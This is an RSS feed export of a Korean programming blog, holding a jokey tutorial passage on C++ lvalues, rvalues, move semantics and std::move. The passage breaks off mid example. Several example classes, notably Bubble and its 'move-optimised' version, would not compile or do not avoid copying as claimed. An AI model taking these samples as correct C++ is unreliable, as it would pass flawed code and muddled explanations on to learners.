<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>log</title>
    <link>https://reteu.tistory.com/</link>
    <description>자동화, 안정적인 서비스 운영에 관심이 많습니다. 클라우드인프라/플랫폼/솔루션 엔지니어를 꿈꾸고 있습니다. 

최근에는 리눅스 커널, TEE, 임베디드 보안에 흥미를 느끼고 있어요.</description>
    <language>ko</language>
    <pubDate>Tue, 12 May 2026 21:30:54 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>re.t</managingEditor>
    <image>
      <title>log</title>
      <url>https://tistory1.daumcdn.net/tistory/3150033/attach/532cdd5823264ab498a33e4c3ca4e74a</url>
      <link>https://reteu.tistory.com</link>
    </image>
    <item>
      <title>[C++] L-Value와 R-Value 바닥까지 핥아먹기    ~메모리 효율적으로 고백하는 방법~</title>
      <link>https://reteu.tistory.com/66</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;들어가기 전에..&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C++은 헨따이 언어이다. 외부 활동을 하면서 다른 개발자들을 만나 주 사용 언어에 대한 주제가 나왔을 때, C++이 나의 주력 언어라고 하면 다들 급격히 말수가 줄어들며 뒷걸음질 치는 것을 느낄 수 있다. C++은 많은 프로그래밍 언어의 씨육수라고 해도 과언이 아닌 C언어를 기반으로 객체 지향, 제네릭과 같은 개념을 확장한, 굉장히 자유도가 높은 저수준의 언어이다.&lt;br /&gt;다시 말하면 이 글을 찾아 들어온 당신은 헨따이 언어를 능수능란하게 구사하고 싶어 안달이 난 개발자라는 소리다. 헨따이 언어를 능숙하게 다루려면 당신도 상당한 수준의 헨따이가 되어야만 한다.&lt;br /&gt;점진적으로 러스트가 C++을 완전히 대체하게 될거라는 의견이 늘고 있지만, 러스트를 배워보면 C++을 닮아 러스트도 굉장히 변태적인 언어임을 알 수 있다. 결국에 우리는 C++을 통해 항변태력을 미리 끌어올려야 나중에 러스트로 옮겨갈 일이 생기더라도 토컨이 가능해질 것이다. 이제 명분이 생겼으니 다이브 인 해보자!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csf42i/btsJ590rqtK/zhgJagiV5AjVJXXFLzraV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csf42i/btsJ590rqtK/zhgJagiV5AjVJXXFLzraV1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csf42i/btsJ590rqtK/zhgJagiV5AjVJXXFLzraV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcsf42i%2FbtsJ590rqtK%2FzhgJagiV5AjVJXXFLzraV1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;328&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;그래서 그게 뭔데&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름에서 알 수 있듯이 L-Value는 Left-Value의 준말이고, R-Value는 Right-Value의 줄인말이다. 이야 쉽다..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btJVpE/btsJ7qNsPlm/t1oO0ZFGHuh92skVMTVtHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btJVpE/btsJ7qNsPlm/t1oO0ZFGHuh92skVMTVtHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btJVpE/btsJ7qNsPlm/t1oO0ZFGHuh92skVMTVtHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtJVpE%2FbtsJ7qNsPlm%2Ft1oO0ZFGHuh92skVMTVtHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;316&quot; data-origin-width=&quot;766&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;int pen, apple;
int apple_pen = pen + apple;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왼쪽에 있는 apple_pen은 L-Value이고, 오른쪽에 보이는 pen + apple은 R-Value이다.&lt;br /&gt;대입 연산자(=)의 왼쪽에 올 수 있는 값이라 Left라 부르고, 오른쪽에 올 수 있는 값이라서 Right라고 부른다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;L-Value (식별 가능한 객체)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;변수와 같이 메모리 주소를 가지고 있어서 참조를 통한 접근이 가능하다.&lt;/li&gt;
&lt;li&gt;참조가 가능하므로, 값을 수정할 수도 있다. (물론 const같은건 안됨)&lt;/li&gt;
&lt;li&gt;예: 변수, 배열의 원소, 객체의 멤버 등&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;R-Value (임시 값)&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;임시로 사용되는 값으로, 특정 메모리 주소를 가지고 있지 않다. (사실 스택에 올라와서 처리되기에 주소는 가진다. 자세한건 밑에서..)&lt;/li&gt;
&lt;li&gt;읽기 전용 값으로 취급되어, 값을 수정할 수 없다.&lt;/li&gt;
&lt;li&gt;예: 리터럴 값(상수, 문자), 임시 객체(연산의 결과), 함수의 리턴값 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 우리의 C++은 여기에서 끝나지 않는다. R-Value와 같이 메모리에서 영구적으로 관리되지 않는 값 마저도 손에 넣고 마음대로 더럽히고 싶은 욕망을 참지 않았다. R-Value를 옮겨야 하는 상황이 생길 때, deep copy 없이 동일한 값을 돌려쓰는 무시무시한 방식을 C++11부터 채택했다. 이와 관련하여 더 자세하게 알고 싶다면, 우선 이동 의미론(Move Sementics)이라는 개념에 대해 이해할 필요가 있다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;이동 의미론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;객체의 복사가 아니라 이동을 통해 성능을 최적화한다는 이동 의미론은 C++ 11부터 도입되었다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;class Bubble
{
public:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char body[100000000000] = &quot;안녕지현아너를처음본순간부터좋아했어방학전에고백하고싶었는데바보같이그땐용기가없더라지금은이수많은사람들앞에
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 서오로지너만사랑한다고말하고싶어서큰마음먹고용기내어봐매일매일버스에서너볼때마다두근댔고동아리랑과활동에서도
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 너만보이고너생각만나고지난3월부터계속그랬어니가남자친구랑헤어지고니맘이아파울때내마음도너무아팠지만내심좋은맘
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 두있었어이런내맘을어떻게말할지고민하다가정말인생에서제일크게용기내어세상에서제일멋지게많은사람들앞에서너한테
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 고백해주고싶었어사랑하는지현님내여자가되줄래?아니나만의태양이되어줄래?난너의달님이될게내일3시반에너수업마치고
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 학관앞에서기다리고있을게너만의...&quot;;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bubble(char c) : body(c) {}
};

char* getBody(Bubble msg);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// msg.body를 deep copy하여 리턴하는 함수

Bubble Notice(&quot;이제 누가 공지해주냐&quot;); 
Bubble(getBody(Notice));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// getString에서 deep copy하여 리턴한 값을 클래스 복사생성자에서 다시 한 번 deep copy&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Bubble 클래스는 매우 큰 크기의 문자열 필드를 지니고 있다.&lt;br /&gt;getBody()에서는 Bubble 객체의 문자열을 deep copy하는 함수를 추가로 선언했다.&lt;br /&gt;만약 &lt;code&gt;Bubble(getBody(Notice))&lt;/code&gt;과 같이 클래스의 생성자 내부에서 이 함수를 호출하게 된다면 한 줄의 코드로 대따 큰 배열을 두 번이나 복사하도록 만들 수 있다. 음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에서 L-Value, R-Value의 개념이 살짝 헷갈릴 수 있다. 조금 더 자세히 파고 들어가보자.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;char* getBody(Bubble msg) 
{ 
	char* copiedBody = new char[100000000]; // 동적 메모리 할당, [L-value] 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::strcpy(copiedBody, msg.body); // deep copy, [L-value] 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return copiedBody; // 포인터를 반환, [L-value] 
} 

Bubble(getBody(Notice)); // getBody(Notice) 리턴값, [R-Value]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;getBody() 내에서 힙 영역에 copiedBody를 위한 메모리를 할당받고 strcpy()를 통해 deep copy를 진행한다. 메모리 내부에 자기 자신을 위한 실질적인 공간도 부여받고 변수의 값을 담고 있는 데이터이므로 여기에서 copiedBody는 L-Value이다.&lt;br /&gt;다만, 복사 생성자 내에서 getBody()를 호출한 경우, getBody()의 리턴값(copiedBody에 대한 포인터)을 생성자의 매개변수로 전달하는 것이므로 이 경우에는 R-Value로 취급한다.&lt;br /&gt; &amp;nbsp;저게 R이라구요?&lt;br /&gt;R-Value 맞아요. 뭐요.&lt;br /&gt;스코프를 차근차근 넓혀가면서 다시 생각해보자.&lt;br /&gt;1. Bubble(char c) 생성자가 getBody(Notice)를 호출한다.&lt;br /&gt;2. getBody(Notice)에서는 char 타입의 포인터를 생성하고 strcpy()는 Notice.body의 값을 읽어와 copiedBody에 대입한다. (deep copy)&lt;br /&gt;3. copiedBody는 힙 영역에 동적으로 할당되었고 Notice.body에서 읽어온 내용을 담고 있으므로 이 값은 L-Value이다.&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&amp;gt; 이제 스코프가 Bubble 생성자로 넓어졌다.&lt;/span&gt;&lt;br /&gt;4. return이 일어나면서 스택이 정리된다.&lt;br /&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&amp;gt; copiedBody는 함수의 로컬 변수(L-Value)였지만, 리턴이 일어나고 함수 외부로 반환되는 순간 임시 값(R-Value)로 취급된다.&lt;/span&gt;&lt;br /&gt;5. getBody()의 리턴값은 생성자에 전달되든 안되든 유지되지 않고 곧 사라질 임시 객체이다.-&amp;gt; R-Value&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;// 그건 제 잔상입니다만?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;+) 만약 copiedBody를 동적할당하면 어떻게 될까?&lt;br /&gt;getBody()에서 정의된 것처럼, 동적할당된 메모리는 힙 영역에 저장되며, 이는 함수가 종료되더라도 사라지지 않는다.&amp;nbsp; 함수가 끝난 이후에도 여전히 포인터로 가리킬 수도 있다. 하지만, 함수에서 반환하는 포인터 자체는 해당 함수의 외부로 벗어나는 시점에서 이미 임시 객체로 취급되기 때문에 이 경우에도 r-value가 된다.&lt;br /&gt;이처럼 크기가 큰 객체를 복제하는 과정에서 높은 성능 오버헤드가 발생하기 때문에, 값을 복사하는게 아니라 임시 객체를 그대로 참조해서 자원의 소유권을 이동하는 방식으로 최적화하는 기법이 등장했다. 이것이 바로 이동 의미론의 등장이다.&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&lt;u&gt;(헌데, std::move()가 r-value를 l-value로 옮기는 역할을 한다고 설명하면, 이건 또 틀린 설명이라고.. 이건 조금 더 복잡한 문제이므로 바로 아래 'R-Value에 대한 참조 (&amp;amp;&amp;amp;)' 파트와 함께 다시 다뤄보도록 하겠다.)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;여기까지 l-value와 r-value에 대한 기본적인 내용을 다루었으니, 우리는 아래 코드가 왜 작동하지 않는지도 설명할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;class Girlfriend
{
	string name = &quot;Takagi&quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
public:
	string&amp;amp; accessName() { return name; }
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string getName() { return name; }
}


Girlfriend TeasingMaster;

// Case 1.
string&amp;amp; myGirlfriend = TeasingMaster.accessName();
cout &amp;lt;&amp;lt; myGirlfriend &amp;lt;&amp;lt; endl;

// Case 2.
string&amp;amp; myGirlfriend = TeasingMaster.getName();		// 컴파일 에러!
cout &amp;lt;&amp;lt; myGirlfriend &amp;lt;&amp;lt; endl;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;getName()이 반환하는 값은 r-value이기 때문에, 임시객체에 참조를 가져오는 것은 불가능하므로 컴파일 에러가 발생한다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;R-Value에 대한 참조 (&amp;amp;&amp;amp;)&lt;/h2&gt;
&lt;p style=&quot;text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이동 의미론을 구현하기 위해서는 R-Value에 대한 참조를 가져올 수 있어야 한다. 따라서 기존에 C++에서 사용하던 참조 연산자인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;에서 따와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;를 사용한다.&amp;nbsp;&lt;br /&gt;이중포인터&lt;span&gt;&amp;nbsp;&lt;/span&gt;**가 포인터 개념에서 응용한 것임과 달리,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;amp;&amp;amp;은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;amp;과 직접적인 관련성은 없다. 그냥 디벨로퍼타치 간의 약속으로 탄생한 개념이다. r-value에 대한 참조를 사용할 때에는 &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;를 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 'r-value를 대상으로 참조' 하기 위해 탄생한 개념인 만큼 대부분의 용례는 r-value 임시 객체를 복사하지 않고 이동하도록 만드는 상황에서 사용하게 될 것이다. 앞서 들었던 예시 코드를 다시 한 번 가져오자면 아래와 같이 수정할 수 있을 것이다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;class Bubble
{
public:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char body[100000000000] = &quot;안녕지현아너를처음본순간부터좋아했어방학전에고백하고싶었는데바보같이그땐용기가없더라지금은이수많은사람들앞에
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 서오로지너만사랑한다고말하고싶어서큰마음먹고용기내어봐매일매일버스에서너볼때마다두근댔고동아리랑과활동에서도
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 너만보이고너생각만나고지난3월부터계속그랬어니가남자친구랑헤어지고니맘이아파울때내마음도너무아팠지만내심좋은맘
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 두있었어이런내맘을어떻게말할지고민하다가정말인생에서제일크게용기내어세상에서제일멋지게많은사람들앞에서너한테
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 고백해주고싶었어사랑하는지현님내여자가되줄래?아니나만의태양이되어줄래?난너의달님이될게내일3시반에너수업마치고
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 학관앞에서기다리고있을게너만의...&quot;;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bubble(char&amp;amp;&amp;amp; c) noexcept : body(c) {}	 // 임시객체를 참조의 형태로 입력받는다.
};

const char* getBody(Bubble msg);&amp;nbsp;&amp;nbsp; 			 // msg.body를 참조하여 리턴하는 함수

Bubble Notice(&quot;이제 누가 공지해주냐&quot;); 
Bubble(getBody(Notice));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;		 // 더 이상 deep copy가 발생하지 않는다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 보다 메모리 효율적인 방식으로 그녀에게 고백할 수 있다.&lt;br /&gt;r-value에 대한 참조는 어떻게 일어날까?&lt;br /&gt;메모리에서의 불필요한 복사를 줄이기 위해 참조가 일어나는 것이니만큼, 당연하게도 실제 메모리에 r-value를 옮기지는 않을 것이다. 임시 메모리에 존재하는 값을 그대로 참조하되, 해당 임시 객체의 수명을 연장시켜 최적화된 방식으로 연산을 처리하도록 한다.&lt;br /&gt;생명 주기가 늘어난 사이에, 이동 생성자나 이동 연산자를 통해 원본 객체의 포인터를 새로운 객체로 옮기고, 원복 객체의 포인터를 nullptr로 설정하는 방식으로 이동시키면 되겠다.&lt;br /&gt;이 과정을 &amp;lt;utility&amp;gt; 헤더 내에서 구현해놓은 것이 바로 move()인데, 앞서 std::move()를 통해 r-value를 l-value로 이동시켜 불필요한 복사를 생략하는 방식으로 최적화를 이룰 수 있다고 설명했다.&amp;nbsp; &lt;br /&gt;하지만, 앞 장에서 언급한 것처럼 move() 자체는 소유권의 이전 로직을 수행하지 않는다. 함수의 정의를 먼저 살펴보자.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;// MSVC 14.41.34120에서 가져왔다.

_EXPORT_STD template &amp;lt;class _Ty&amp;gt;
_NODISCARD _MSVC_INTRINSIC constexpr remove_reference_t&amp;lt;_Ty&amp;gt;&amp;amp;&amp;amp; move(_Ty&amp;amp;&amp;amp; _Arg) noexcept {
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return static_cast&amp;lt;remove_reference_t&amp;lt;_Ty&amp;gt;&amp;amp;&amp;amp;&amp;gt;(_Arg);
}&lt;/code&gt;&lt;/pre&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; Note: 위 코드의 리턴값은 r-value일까, l-value일까?&lt;/b&gt;&lt;br /&gt;위 코드를 제대로 이해하려면 r-value도 l-value도 아닌, x-value(&lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;i&gt;&lt;u&gt;NEW!&lt;/u&gt;&lt;/i&gt;&lt;/span&gt;)에 대해서도 알아야 한다. &lt;br /&gt;딥--다크한 심연으로 빠질 준비가 되었다면.. '사실은..' 파트까지 읽어보길 권한다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. &lt;code&gt;_Ty&lt;/code&gt;: &lt;code&gt;_Ty&lt;/code&gt;는 템플릿 매개변수로서, 함수 호출 시점에 컴파일러에 의해 함수 매개변수의 타입을 추론하여 적용된다.&lt;br /&gt;2. &lt;code&gt;_Ty&amp;amp;&amp;amp; _Arg&lt;/code&gt;: move()에 입력된 매개변수는 _Ty 타입의 r-value 참조로 입력된다.&lt;br /&gt;3. &lt;code&gt;remove_reference_t&amp;lt;_Ty&amp;gt;&lt;/code&gt;: &lt;code&gt;_Ty&lt;/code&gt; 에서 참조를 제거한 타입을 나타낸다. &lt;br /&gt;&amp;nbsp; &amp;nbsp; 가령, _Ty가 int&amp;amp;라면&amp;nbsp; &lt;code&gt;remove_reference_t&amp;lt;_Ty&amp;gt;&lt;/code&gt;는 int 형이 되겠다.&lt;br /&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; 그렇다면, &lt;/span&gt;&lt;code&gt;remove_reference_t&amp;lt;_Ty&amp;gt;&amp;amp;&amp;amp;&lt;/code&gt;는 참조를 벗겨낸 타입에 대한 r-value 참조가 된다. (&lt;code&gt;int&amp;amp;&amp;amp;&lt;/code&gt;라는 뜻)&lt;br /&gt;&lt;/span&gt;4. &lt;code&gt;static_cast&amp;lt;remove_reference_t&amp;lt;_Ty&amp;gt;&amp;amp;&amp;amp;&amp;gt;(_Arg)&lt;/code&gt;: _Arg에 대하여 &lt;code&gt;remove_reference_t&amp;lt;_Ty&amp;gt;&amp;amp;&amp;amp;&lt;/code&gt;로 static cast를 수행한다.&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 사람 말로 풀어내자면, _Arg에 대하여 타입추론을 하는데, 참조를 먼저 벗겨낸 다음, r-value에 대한 참조를 붙인 타입으로 static cast를 수행한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: Nanum Gothic;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;결론: move() 내부로 넘긴 값을 강제로 r-value로 변환하고, 그에 대한 참조를 반환한다.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 배운 내용을 접목시켜보면, 비로소 아래의 문장을 이해할 수 있을 것이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;move()에 l-value를 넘길 경우, 단순히 타입 캐스팅으로 r-value로 변환할 뿐 실제로 객체의 상태를 변경하지는 않는다. 왜냐하면, move()가 반환하는 리턴값 역시 r-value이기 때문이다.&lt;/blockquote&gt;
&lt;pre class=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;{
	int integer = 32;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;integer++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++integer;
